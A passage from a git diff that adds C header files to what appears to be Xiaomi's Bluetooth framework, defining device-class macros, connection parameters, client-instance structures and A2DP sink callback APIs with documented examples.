+bt_uuid_t service_uuid; +bt_uuid_from_string("0000180D-0000-1000-8000-00805F9B34FB", &service_uuid); // Heart Rate Service +advertiser_data_add_service_uuid(ad, &service_uuid); + * @endcode + */ +bool advertiser_data_add_service_uuid(advertiser_data_t* ad, const bt_uuid_t* uuid); + +/** + * @brief Add service data to advertising data. + * + * Adds service-specific data associated with a service UUID to the advertising data. + * + * @param ad - Pointer to the advertiser data object. + * @param uuid - Pointer to the UUID of the service, see @ref bt_uuid_t. + * @param data - Pointer to the service data payload. + * @param len - Length of the service data payload. + * @return true - Service data added successfully. + * @return false - Failed to add service data. + * + * **Example:** + * @code +bt_uuid_t service_uuid; +bt_uuid_from_string("0000180F-0000-1000-8000-00805F9B34FB", &service_uuid); // Battery Service +uint8_t battery_level = 85; // 85% +advertiser_data_add_service_data(ad, &service_uuid, &battery_level, 1); + * @endcode + */ +bool advertiser_data_add_service_data(advertiser_data_t* ad, + const bt_uuid_t* uuid, + uint8_t* data, uint8_t len); + +#ifdef __cplusplus +} +#endif +#endif /* __ADVERTISER_DATA_H__ */ \ No newline at end of file diff --git a/framework/include/bluetooth.h b/framework/include/bluetooth.h new file mode 100644 index 0000000000000000000000000000000000000000..9ce8e5be244868e0b5142c1bdf532f904991d1e2 --- /dev/null +++ b/framework/include/bluetooth.h @@ -0,0 +1,586 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_BLUETOOTH_H__ +#define _BT_BLUETOOTH_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include <stdint.h> +#include <uv.h> + +#include "bt_addr.h" +#include "bt_config.h" +#include "bt_list.h" +#include "bt_profile.h" +#include "bt_status.h" +#include "bt_uuid.h" +#include "callbacks_list.h" +#include "uv_thread_loop.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +#if defined(CONFIG_CPU_BIT64) // CONFIG_CPU_BIT64 +#define PTR uint64_t +#define PRTx PRIx64 +#if !defined(INT2PTR) +#define INT2PTR(pt) (pt)(uint64_t) // For example, INT2PTR(pt)(int): (int)=>uint64_t=>(pt)/pointer type +#endif +#if !defined(PTR2INT) +#define PTR2INT(it) (it)(uint64_t) // For example, PTR2INT(it)(pointer): (pointer)=>uint64_t=>(it)/int type +#endif +#else // CONFIG_CPU_BIT32 and others +#define PTR uint32_t +#define PRTx PRIx32 +#if !defined(INT2PTR) +#define INT2PTR(pt) (pt)(uint32_t) // For example, INT2PTR(pt)(int): (int)=>uint32_t=>(pt)/pointer type +#endif +#if !defined(PTR2INT) +#define PTR2INT(it) (it)(uint32_t) // For example, PTR2INT(it)(pointer): (pointer)=>uint32_t=>(it)/int type +#endif +#endif // End of else + +#define PRIMARY_ADAPTER 0 + +typedef uint8_t bt_controller_id_t; + +typedef enum { + BT_IO_CAPABILITY_DISPLAYONLY = 0, + BT_IO_CAPABILITY_DISPLAYYESNO, + BT_IO_CAPABILITY_KEYBOARDONLY, + BT_IO_CAPABILITY_NOINPUTNOOUTPUT, + BT_IO_CAPABILITY_KEYBOARDDISPLAY, + BT_IO_CAPABILITY_UNKNOW = 0xFF +} bt_io_capability_t; + +#ifndef ANDROID_LIBBLUETOOTH +/* + * hardware/libhardware/include/hardware/bluetooth.h + * This definition was copied from Android 13. + * DON NOT MODIFY IT !!! + */ +typedef enum { + BT_SCAN_MODE_NONE, + BT_SCAN_MODE_CONNECTABLE, + BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE +} bt_scan_mode_t; +#endif + +// Rename the definition +#define BT_BR_SCAN_MODE_NONE BT_SCAN_MODE_NONE +#define BT_BR_SCAN_MODE_CONNECTABLE BT_SCAN_MODE_CONNECTABLE +#define BT_BR_SCAN_MODE_CONNECTABLE_DISCOVERABLE BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE + +typedef enum { + BT_BR_SCAN_TYPE_STANDARD, + BT_BR_SCAN_TYPE_INTERLACED, + BT_BR_SCAN_TYPE_UNKNOWN = 0xFF +} bt_scan_type_t; + +#ifndef ANDROID_LIBBLUETOOTH +/* + * hardware/libhardware/include/hardware/bluetooth.h + * This definition was copied from Android 13. + * DON NOT MODIFY IT !!! + */ +typedef enum { + BT_DISCOVERY_STOPPED, + BT_DISCOVERY_STARTED +} bt_discovery_state_t; +#endif + +// Rename the definition +#define BT_DISCOVERY_STATE_STOPPED BT_DISCOVERY_STOPPED +#define BT_DISCOVERY_STATE_STARTED BT_DISCOVERY_STARTED + +typedef enum { + BT_BR_FILTER_CLEAR_ALL, + BT_BR_FILTER_INQUIRY_RESULT, + BT_BR_FILTER_CONNECTION_SETUP +} bt_filter_type_t; + +/* * HCI Event Filter - Filter Condition Type */ +typedef enum { + BT_BR_FILTER_CONDITION_ALL_DEVICES, + BT_BR_FILTER_CONDITION_DEVICE_CLASS, + BT_BR_FILTER_CONDITION_BDADDR, + BT_BR_FILTER_CONDITION_RSSI, + BT_BR_FILTER_CONDITION_UUIDS +} bt_filter_condition_type_t; + +typedef enum { + BT_LINK_ROLE_MASTER, + BT_LINK_ROLE_SLAVE, + BT_LINK_ROLE_UNKNOWN +} bt_link_role_t; + +typedef enum { + BT_LINK_MODE_ACTIVE, + BT_LINK_MODE_SNIFF, + BT_LINK_MODE_UNKNOWN, +} bt_link_mode_t; + +typedef enum { + BT_BR_LINK_POLICY_DISABLE_ALL, + BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH, + BT_BR_LINK_POLICY_ENABLE_SNIFF, + BT_BR_LINK_POLICY_ENABLE_ROLE_SWITCH_AND_SNIFF +} bt_link_policy_t; + +typedef enum { + PAIR_TYPE_PASSKEY_CONFIRMATION = 0, + PAIR_TYPE_PASSKEY_ENTRY, + PAIR_TYPE_CONSENT, + PAIR_TYPE_PASSKEY_NOTIFICATION, + PAIR_TYPE_PIN_CODE, +} bt_pair_type_t; + +typedef enum { + BT_TRANSPORT_BLE, + BT_TRANSPORT_BREDR +} bt_transport_t; + +#ifndef ANDROID_LIBBLUETOOTH +/* + * hardware/libhardware/include/hardware/bluetooth.h + * This definition was copied from Android 13. + * DON NOT MODIFY IT !!! + */ +typedef enum { + BT_DEVICE_DEVTYPE_BREDR = 0x1, + BT_DEVICE_DEVTYPE_BLE, + BT_DEVICE_DEVTYPE_DUAL +} bt_device_type_t; +#endif + +// Rename the definition +#define BT_DEVICE_TYPE_BREDR BT_DEVICE_DEVTYPE_BREDR +#define BT_DEVICE_TYPE_BLE BT_DEVICE_DEVTYPE_BLE +#define BT_DEVICE_TYPE_DUAL BT_DEVICE_DEVTYPE_DUAL + +// Add new definition +#define BT_DEVICE_TYPE_UNKNOW 0xFF + +typedef enum { + BT_LE_ADDR_TYPE_PUBLIC, + BT_LE_ADDR_TYPE_RANDOM, + BT_LE_ADDR_TYPE_PUBLIC_ID, + BT_LE_ADDR_TYPE_RANDOM_ID, + BT_LE_ADDR_TYPE_ANONYMOUS, + BT_LE_ADDR_TYPE_UNKNOWN = 0xFF +} ble_addr_type_t; + +typedef enum { + BT_ADDR_TYPE_BREDR, + BT_ADDR_TYPE_UNKNOWN = 0xFF +} bt_addr_type_t; + +/* * BLE PHY type */ +typedef enum { + BT_LE_1M_PHY, + BT_LE_2M_PHY, + BT_LE_CODED_PHY +} ble_phy_type_t; + +typedef enum { + BT_LE_CONNECT_FILTER_POLICY_ADDR, + BT_LE_CONNECT_FILTER_POLICY_WHITE_LIST +} ble_connect_filter_policy_t; + +typedef enum { + EM_LE_LOW_LATENCY, + EM_LE_HIGH_TPUT, + EM_LE_LOW_POWER, +} bt_enhanced_mode_t; + +typedef enum { + BT_DEBUG_MODE_PTS, +} bt_debug_mode_t; + +typedef uint8_t bt_128key_t[16]; + +#define COD_SERVICE_BITS(c) (c & 0xFFE000) /* The major service classes field */ +#define COD_DEVICE_MAJOR_BITS(c) (c & 0x001F00) /* The major device classes field */ +#define COD_DEVICE_CLASS_BITS(c) (c & 0x001FFC) /* The device classes field, including major and minor */ + +#define COD_SERVICE_LDM 0x002000 /* Limited Discoverable Mode */ +#define COD_SERVICE_POSITION 0x010000 /* Positioning (Location identification) */ +#define COD_SERVICE_NETWORK 0x020000 /* Networking (LAN, Ad hoc, ...) */ +#define COD_SERVICE_RENDERING 0x040000 /* Rending (Printing, Speaker, ...) */ +#define COD_SERVICE_CAPTURING 0x080000 /* Capturing (Scanner, Microphone, ...) */ +#define COD_SERVICE_OBJECT 0x100000 /* Object Transfer (v-Inbox, v-Folder, ...) */ +#define COD_SERVICE_AUDIO 0x200000 /* Audio (Speaker, Microphone, Headset service, ...) */ +#define COD_SERVICE_TELEPHONY 0x400000 /* Telephony (Cordless telephony, Modem, Headset service, ...) */ +#define COD_SERVICE_INFORMATION 0x800000 /* Information (WEB-server, WAP-server, ...) */ + +/* * Major Device Classes bit mask */ +#define COD_DEVICE_MISCELLANEOUS 0x000000 /* Major Device Class - Miscellaneous */ +#define COD_DEVICE_COMPUTER 0x000100 /* Major Device Class - Computer (desktop, notebook, PDA, organizers, ...) */ +#define COD_DEVICE_PHONE 0x000200 /* Major Device Class - Phone (cellular, cordless, payphone, modem, ...) */ +#define COD_DEVICE_LAP 0x000300 /* Major Device Class - LAN/Network Access Point */ +#define COD_DEVICE_AV 0x000400 /* Major Device Class - Audio/Video (headset, speaker, stereo, video display, vcr...) */ +#define COD_DEVICE_PERIPHERAL 0x000500 /* Major Device Class - Peripheral (mouse, joystick, keyboards, ...) */ +#define COD_DEVICE_IMAGING 0x000600 /* Major Device Class - Imaging (printing, scanner, camera, display, ...) */ +#define COD_DEVICE_WEARABLE 0x000700 /* Major Device Class - Wearable */ +#define COD_DEVICE_TOY 0x000800 /* Major Device Class - Toy */ +#define COD_DEVICE_HEALTH 0x000900 /* Major Device Class - Health */ +#define COD_DEVICE_UNCLASSIFIED 0x001F00 /* Major Device Class - Uncategorized, specific device code not specified */ + +/* * Minor Device Class - Computer major class */ +#define COD_COMPUTER_UNCLASSIFIED (COD_DEVICE_COMPUTER | 0x000000) +#define COD_COMPUTER_DESKTOP (COD_DEVICE_COMPUTER | 0x000004) +#define COD_COMPUTER_SERVER (COD_DEVICE_COMPUTER | 0x000008) +#define COD_COMPUTER_LAPTOP (COD_DEVICE_COMPUTER | 0x00000C) +#define COD_COMPUTER_HANDHELD (COD_DEVICE_COMPUTER | 0x000010) +#define COD_COMPUTER_PALMSIZED (COD_DEVICE_COMPUTER | 0x000014) +#define COD_COMPUTER_WEARABLE (COD_DEVICE_COMPUTER | 0x000018) + +/* * Minor Device Class - Phone major class */ +#define COD_PHONE_UNCLASSIFIED (COD_DEVICE_PHONE | 0x000000) +#define COD_PHONE_CELLULAR (COD_DEVICE_PHONE | 0x000004) +#define COD_PHONE_CORDLESS (COD_DEVICE_PHONE | 0x000008) +#define COD_PHONE_SMARTPHONE (COD_DEVICE_PHONE | 0x00000C) +#define COD_PHONE_WIREDMODEM (COD_DEVICE_PHONE | 0x000010) +#define COD_PHONE_COMMONISDNACCESS (COD_DEVICE_PHONE | 0x000014) +#define COD_PHONE_SIMCARDREADER (COD_DEVICE_PHONE | 0x000018) + +/* * Minor Device Class - LAN/Network access point major class */ +#define COD_LAP_FULLY_AVAILABLE (COD_DEVICE_LAP | 0x000000) +#define COD_LAP_17_UTILIZED (COD_DEVICE_LAP | 0x000020) +#define COD_LAP_33_UTILIZED (COD_DEVICE_LAP | 0x000040) +#define COD_LAP_50_UTILIZED (COD_DEVICE_LAP | 0x000060) +#define COD_LAP_67_UTILIZED (COD_DEVICE_LAP | 0x000080) +#define COD_LAP_83_UTILIZED (COD_DEVICE_LAP | 0x0000A0) +#define COD_LAP_99_UTILIZED (COD_DEVICE_LAP | 0x0000C0) +#define COD_LAP_UNAVAILABLE (COD_DEVICE_LAP | 0x0000E0) + +/* * Minor Device Class - Audio/Video major class */ +#define COD_AV_UNCLASSIFIED (COD_DEVICE_AV | 0x000000) +#define COD_AV_HEADSET (COD_DEVICE_AV | 0x000004) +#define COD_AV_HANDSFREE (COD_DEVICE_AV | 0x000008) +#define COD_AV_HEADANDHAND (COD_DEVICE_AV | 0x00000C) +#define COD_AV_MICROPHONE (COD_DEVICE_AV | 0x000010) +#define COD_AV_LOUD_SPEAKER (COD_DEVICE_AV | 0x000014) +#define COD_AV_HEADPHONES (COD_DEVICE_AV | 0x000018) +#define COD_AV_PORTABLE_AUDIO (COD_DEVICE_AV | 0x00001C) +#define COD_AV_CAR_AUDIO (COD_DEVICE_AV | 0x000020) +#define COD_AV_SETTOPBOX (COD_DEVICE_AV | 0x000024) +#define COD_AV_HIFI_AUDIO (COD_DEVICE_AV | 0x000028) +#define COD_AV_VCR (COD_DEVICE_AV | 0x00002C) +#define COD_AV_VIDEO_CAMERA (COD_DEVICE_AV | 0x000030) +#define COD_AV_CAMCORDER (COD_DEVICE_AV | 0x000034) +#define COD_AV_VIDEO_MONITOR (COD_DEVICE_AV | 0x000038) +#define COD_AV_DISPLAY_AND_SPEAKER (COD_DEVICE_AV | 0x00003C) +#define COD_AV_VIDEO_CONFERENCING (COD_DEVICE_AV | 0x000040) +#define COD_AV_GAME_OR_TOY (COD_DEVICE_AV | 0x000048) + +/* * Minor Device Class - Peripheral major class */ +#define COD_PERIPHERAL_UNCLASSIFIED (COD_DEVICE_PERIPHERAL | 0x000000) +#define COD_PERIPHERAL_JOYSTICK (COD_DEVICE_PERIPHERAL | 0x000004) +#define COD_PERIPHERAL_GAMEPAD (COD_DEVICE_PERIPHERAL | 0x000008) +#define COD_PERIPHERAL_REMCONTROL (COD_DEVICE_PERIPHERAL | 0x00000C) +#define COD_PERIPHERAL_SENSE (COD_DEVICE_PERIPHERAL | 0x000010) +#define COD_PERIPHERAL_TABLET (COD_DEVICE_PERIPHERAL | 0x000014) +#define COD_PERIPHERAL_SIMCARDREADER (COD_DEVICE_PERIPHERAL | 0x000018) +#define COD_PERIPHERAL_KEYBOARD (COD_DEVICE_PERIPHERAL | 0x000040) +#define COD_PERIPHERAL_POINT (COD_DEVICE_PERIPHERAL | 0x000080) +#define COD_PERIPHERAL_KEYORPOINT (COD_DEVICE_PERIPHERAL | 0x0000C0) + +/* * Minor Device Class - Imaging major class */ +#define COD_IMAGING_DISPLAY (COD_DEVICE_IMAGING | 0x000010) +#define COD_IMAGING_CAMERA (COD_DEVICE_IMAGING | 0x000020) +#define COD_IMAGING_SCANNER (COD_DEVICE_IMAGING | 0x000040) +#define COD_IMAGING_PRINTER (COD_DEVICE_IMAGING | 0x000080) + +/* * Minor Device Class - Wearable major class */ +#define COD_WERABLE_WATCH (COD_DEVICE_WEARABLE | 0x000004) +#define COD_WERABLE_PAGER (COD_DEVICE_WEARABLE | 0x000008) +#define COD_WERABLE_JACKET (COD_DEVICE_WEARABLE | 0x00000C) +#define COD_WERABLE_HELMET (COD_DEVICE_WEARABLE | 0x000010) +#define COD_WERABLE_GLASSES (COD_DEVICE_WEARABLE | 0x000014) + +/* * Minor Device Class - Toy major class */ +#define COD_TOY_ROBOT (COD_DEVICE_TOY | 0x000004) +#define COD_TOY_VEHICLE (COD_DEVICE_TOY | 0x000008) +#define COD_TOY_DOLL (COD_DEVICE_TOY | 0x00000C) +#define COD_TOY_CONROLLER (COD_DEVICE_TOY | 0x000010) +#define COD_TOY_GAME (COD_DEVICE_TOY | 0x000014) + +/* * Minor Device Class - Health major class */ +#define COD_HEALTH_BLOOD_PRESURE (COD_DEVICE_HEALTH | 0x000004) +#define COD_HEALTH_THERMOMETER (COD_DEVICE_HEALTH | 0x000008) +#define COD_HEALTH_WEIGHING_SCALE (COD_DEVICE_HEALTH | 0x00000C) +#define COD_HEALTH_GLUCOSE_METER (COD_DEVICE_HEALTH | 0x000010) +#define COD_HEALTH_PULSE_OXIMETER (COD_DEVICE_HEALTH | 0x000014) +#define COD_HEALTH_RATE_MONITOR (COD_DEVICE_HEALTH | 0x000018) +#define COD_HEALTH_DATA_DISPLAY (COD_DEVICE_HEALTH | 0x00001C) + +/* * Headset Device Class */ +#define IS_HEADSET(cod) ((COD_SERVICE_BITS(cod) & COD_SERVICE_AUDIO) && COD_DEVICE_MAJOR_BITS(cod) == COD_DEVICE_AV) + +#ifdef CONFIG_DEV_NAME_MAX_LEN +#define BT_DEV_NAME_MAX_LEN (CONFIG_DEV_NAME_MAX_LEN) +#else +#define BT_DEV_NAME_MAX_LEN (64) +#endif + +#define BLUETOOTH_COMPANY_ID_XIAOMI 0x038F +#define BLUETOOTH_COMPANY_ID_GOOGLE 0x00E0 + +#define BT_LOC_NAME_MAX_LEN BT_DEV_NAME_MAX_LEN +#define BT_REM_NAME_MAX_LEN BT_DEV_NAME_MAX_LEN + +#define BT_UUID_MAX_NUM (32) +#define BT_UUID_128_LEN (16) + +typedef struct { + bt_address_t addr; + int8_t rssi; + int8_t pad[1]; + uint32_t cod; + char name[BT_REM_NAME_MAX_LEN + 1]; +} bt_discovery_result_t; + +/* * HCI Set Event Filter Command param */ +typedef struct { + bt_filter_condition_type_t condition_type; + uint32_t condition_cod; + bt_address_t condition_bdaddr; +} bt_discovery_filter_t; + +// BLE connect parameter +typedef struct { + uint8_t filter_policy; /* ble_connect_filter_policy_t */ + uint8_t use_default_params; /* boolean, If TRUE, the following parameters are ignored. */ + uint8_t init_phy; /* ble_phy_type_t */ + uint8_t pad[1]; + uint16_t scan_interval; + uint16_t scan_window; + uint16_t connection_interval_min; + uint16_t connection_interval_max; + uint16_t connection_latency; + uint16_t supervision_timeout; + uint16_t min_ce_length; + uint16_t max_ce_length; +} ble_connect_params_t; + +typedef struct { + uint8_t enable; /* enable sniff mode, boolean */ + uint8_t idle_time; /* Idle time in seconds before entering sniff mode */ + uint16_t sniff_max_interval; /* sniff maximum interval */ + uint16_t sniff_min_interval; /* sniff minimum interval */ + uint16_t sniff_attempt; /* sniff attempt */ + uint16_t sniff_timeout; /* sniff timeout */ +} bt_auto_sniff_params_t; + +typedef struct { + uint8_t evt_code; /* HCI event code */ + uint8_t length; /* length of the params */ + char params[0]; /* parameters */ +} bt_hci_event_t; + +/* Possible 2.4G channel band width (MHz) */ +#define AFH_WIFI_BANDWIDTH_20 20 +#define AFH_WIFI_BANDWIDTH_22 22 +#define AFH_WIFI_BANDWIDTH_40 40 + +/* Possible 2.4G none Bluetooth radio channel central frequency (MHz) */ +#define AFH_WIFI_CENTRAL_FREQUENCY_CH1 2412 +#define AFH_WIFI_CENTRAL_FREQUENCY_STEP 5 +#define AFH_WIFI_CHANNEL_TO_FREQ(ch) \ + (AFH_WIFI_CENTRAL_FREQUENCY_CH1 + ((ch - 1) * AFH_WIFI_CENTRAL_FREQUENCY_STEP)) + +enum { + BLUETOOTH_SYSTEM, + BLUETOOTH_USER, +}; + +typedef struct bt_instance bt_instance_t; + +typedef bool (*bt_allocator_t)(void** data, uint32_t size); + +typedef void (*bt_hci_event_callback_t)(bt_hci_event_t* hci_event, void* context); + +typedef void (*bt_ipc_connected_cb_t)(bt_instance_t* ins, void* user_data); +typedef void (*bt_ipc_disconnected_cb_t)(bt_instance_t* ins, void* user_data, int status); + +typedef struct bt_instance { + uint32_t app_id; +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_BINDER_IPC + void* manager_proxy; + void* adapter_proxy; + void* a2dp_proxy; + void* a2dp_sink_proxy; + void* hfp_hf_proxy; + void* hfp_ag_proxy; + void* gatt_proxy; + void* spp_proxy; + void* pan_proxy; + void* hidd_proxy; + void* gattc_proxy; + void* gatts_proxy; + void* lea_server_proxy; +#endif + +#ifdef CONFIG_BLUETOOTH_FRAMEWORK_SOCKET_IPC + void* poll; + uv_mutex_t mutex; + uv_sem_t message_processed; + int peer_fd; + uv_loop_t* client_loop; + uv_loop_t* external_loop; + uv_async_t* external_async; + int offset; + void* packet; + void* cpacket; + struct list_node msg_queue; + void* context; + uv_mutex_t lock; + + bt_ipc_disconnected_cb_t disconnected; + callbacks_list_t* adapter_callbacks; + callbacks_list_t* a2dp_sink_callbacks; + callbacks_list_t* a2dp_source_callbacks; + callbacks_list_t* avrcp_target_callbacks; + callbacks_list_t* avrcp_control_callbacks; + void* adapter_cookie; + void* a2dp_sink_cookie; + void* a2dp_source_cookie; + void* avrcp_target_cookie; + void* avrcp_control_cookie; + + callbacks_list_t* hfp_ag_callbacks; + callbacks_list_t* hfp_hf_callbacks; + callbacks_list_t* panu_callbacks; + callbacks_list_t* spp_callbacks; + callbacks_list_t* hidd_callbacks; + callbacks_list_t* l2cap_callbacks; + void* hfp_ag_cookie; + void* hfp_hf_cookie; + void* panu_cookie; + void* spp_cookie; + void* hidd_cookie; + void* l2cap_cookie; + + bt_list_t* gattc_remote_list; + bt_list_t* gatts_remote_list; + void* priv; +#endif +} bt_instance_t; + +/** + * @brief Create bluetooth client instance + * + * @return bt_instance_t* - ins on success, NULL on failure. + */ +bt_instance_t* BTSYMBOLS(bluetooth_create_instance)(void); + +/** + * @brief Get bluetooth client instance, If it does not exist, an instance is created + * + * @return bt_instance_t* - ins if exist or create success, NULL, if create fail. + */ +bt_instance_t* BTSYMBOLS(bluetooth_get_instance)(void); + +/** + * @brief Find bluetooth client instance + * + * @return bt_instance_t* - ins if exist, NULL otherwise. + */ +bt_instance_t* BTSYMBOLS(bluetooth_find_instance)(pid_t pid); + +/** + * @brief Get profile proxy + * + * @param ins - bluetooth client instance. + * @param id - profile ID. + * @return void* - profile proxy. + */ +void* BTSYMBOLS(bluetooth_get_proxy)(bt_instance_t* ins, enum profile_id id); + +/** + * @brief Delete client instance + * + * @param ins - bluetooth client instance. + */ +void BTSYMBOLS(bluetooth_delete_instance)(bt_instance_t* ins); + +/** + * @brief Start profile service + * + * @param ins - bluetooth client instance. + * @param id - profile ID. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bluetooth_start_service)(bt_instance_t* ins, enum profile_id id); + +/** + * @brief Stop profile service + * + * @param ins - bluetooth client instance. + * @param id -profile ID. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + */ +bt_status_t BTSYMBOLS(bluetooth_stop_service)(bt_instance_t* ins, enum profile_id id); + +bool BTSYMBOLS(bluetooth_set_external_uv)(bt_instance_t* ins, uv_loop_t* ext_loop); + +/* + Async instance +*/ + +/** + * @brief Create bluetooth async client instance + * + * @param loop uv_loop_t + * @param connected client instance connected callback + * @param disconnected client instance disconnected callback + * @return bt_instance_t* - ins on success, NULL on failure. + */ +bt_instance_t* bluetooth_create_async_instance(uv_loop_t* loop, bt_ipc_connected_cb_t connected, bt_ipc_disconnected_cb_t disconnected, void* user_data); + +/** + * @brief Delete bluetooth async client instance + * + * @param ins bt_instance_t* + */ +void bluetooth_delete_async_instance(bt_instance_t* ins); + +/** + * @brief get bluetooth async client instance + * + * @param loop uv_loop_t + * @param connected client instance connected callback + * @param disconnected client instance disconnected callback + * @return bt_instance_t* - ins on success, NULL on failure. + */ +bt_instance_t* bluetooth_get_async_instance(uv_loop_t* loop, bt_ipc_connected_cb_t connected, bt_ipc_disconnected_cb_t disconnected, void* user_data); + +/** + * @brief Find bluetooth instance + * + * @return bt_instance_t* - ins if exist, NULL otherwise. + */ +bt_instance_t* BTSYMBOLS(bluetooth_find_async_instance)(pid_t pid); + +#ifdef __cplusplus +} +#endif + +#endif /* _BT_BLUETOOTH_H__ */ diff --git a/framework/include/bt_a2dp.h b/framework/include/bt_a2dp.h new file mode 100644 index 0000000000000000000000000000000000000000..1256813d801600310d67671ee6c6c549dd291a6e --- /dev/null +++ b/framework/include/bt_a2dp.h @@ -0,0 +1,96 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_A2DP_H__ +#define __BT_A2DP_H__ + +#include <stddef.h> + +#include "bt_addr.h" +#include "bt_device.h" + +/** + * @cond + */ +/** + * @brief A2DP audio state + */ +typedef enum { + A2DP_AUDIO_STATE_REMOTE_SUSPEND = 0, + A2DP_AUDIO_STATE_STOPPED, + A2DP_AUDIO_STATE_STARTED, +} a2dp_audio_state_t; +/** + * @endcond + */ + +/** + * @brief Callback for A2DP connection state changed. + * + * There are four states for A2DP connection, namely DISCONNECTED, CONNECTING, + * CONNECTED, and DISCONNECTING. During the initialization phase of the A2DP, + * it is necessary to register callback functions. This callback is triggered + * when there is a change in the state of the A2DP connection. + * + * Stable States: + * DISCONNECTED: The initial state. + * CONNECTED: The A2DP connection is established. + * Transient states: + * CONNECTING: The A2DP connection is being established. + * DISCONNECTING: The A2DP connection is being terminated. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - A2DP profile connection state. + * + * **Example:** + * @code +static void on_connection_state_changed_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) +{ + printf("A2DP connection state is: %d", state); +} + * @endcode + */ +typedef void (*a2dp_connection_state_callback)(void* cookie, bt_address_t* addr, + profile_connection_state_t state); + +/** + * @brief Callback for A2DP audio state changed. + * + * There are three states for A2DP audio, namely SUSPEND, STOPPED, + * and STARTED. It is important to note that a callback function + * is triggered whenever a change occurs in the audio state. + * + * Stable States: + * SUSPEND: The stream is suspended. + * STOPPED: The stream is stopped. + * STARTED: The stream is started. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - A2DP audio connection state. + * + * **Example:** + * @code +static void on_audio_state_changed_cb(void* cookie, bt_address_t* addr, a2dp_audio_state_t state) +{ + printf("A2DP audio state is: %d", state); +} + * @endcode + */ +typedef void (*a2dp_audio_state_callback)(void* cookie, bt_address_t* addr, + a2dp_audio_state_t state); + +#endif /* __BT_A2DP_H__ */ diff --git a/framework/include/bt_a2dp_sink.h b/framework/include/bt_a2dp_sink.h new file mode 100644 index 0000000000000000000000000000000000000000..34e4098b9e6bad1da7a0c7e08d45104494ac2efe --- /dev/null +++ b/framework/include/bt_a2dp_sink.h @@ -0,0 +1,270 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_A2DP_SINK_H__ +#define __BT_A2DP_SINK_H__ +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_a2dp.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @brief Callback for A2DP audio configuration. + * + * During the initialization process of the A2DP, callback functions are registered. + * This callbacks is triggered whenever a change occurs in the audio configuration + * of an A2DP connection. + * + * @param cookie - Callbacks cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +static void on_audio_config_changed_cb(void* cookie, bt_address_t* addr) +{ + printf("A2DP audio sink configuration is changed"); +} + * @endcode + */ +typedef void (*a2dp_audio_sink_config_callback)(void* cookie, bt_address_t* addr); + +/** + * @cond + */ +/** + * @brief A2DP Sink callback structure + * + */ +typedef struct { + /** set to sizeof(a2dp_sink_callbacks_t) */ + size_t size; + a2dp_connection_state_callback connection_state_cb; + a2dp_audio_state_callback audio_state_cb; + a2dp_audio_sink_config_callback audio_sink_config_cb; +} a2dp_sink_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Register callback functions to A2DP Sink service. + * + * When initializing the A2DP Sink, an application should register callback functions + * to the A2DP Sink service, which includes a connection state callback function, an + * audio state callback function, and an audio sink configuration callback function. + * Subsequently, the A2DP Sink service will notify the application of any state + * changes via the registered callback functions. + * + * @param ins - Buetooth client instance. + * @param callbacks - A2DP Sink callback functions. + * @return void* - Callbacks cookie, if the callback is registered successfuly. NULL + * if the callback is already registered or registration fails. + * To obtain more information, refer to bt_remote_callbacks_register(). + * + * **Example:** + * @code +static const a2dp_sink_callbacks_t a2dp_sink_cbs = { + sizeof(a2dp_sink_cbs), + a2dp_sink_connection_state_cb, + a2dp_sink_audio_state_cb, + a2dp_sink_audio_config_cb, +}; + +void a2dp_sink_init(void* ins) +{ + static void* sink_cbks_cookie; + + sink_cbks_cookie = bt_a2dp_sink_register_callbacks(ins, &a2dp_sink_cbs); +} + * @endcode + */ +void* BTSYMBOLS(bt_a2dp_sink_register_callbacks)(bt_instance_t* ins, const a2dp_sink_callbacks_t* callbacks); + +/** + * @brief Unregister callback functions from A2DP Sink service. + * + * An application may use this interface to stop listening on the A2DP Sink + * callbacks and to release the associated resources. + * + * @param ins - Buetooth client instance. + * @param cookie - Callbacks cookie. + * @return true - Callback unregistration successful. + * @return false - Callback cookie not found or callback unregistration failed. + * + * **Example:** + * @code +static void* sink_cbks_cookie = bt_a2dp_sink_register_callbacks(ins, &a2dp_sink_cbs); + +void a2dp_sink_uninit(void* ins) +{ + bt_a2dp_sink_unregister_callbacks(ins, 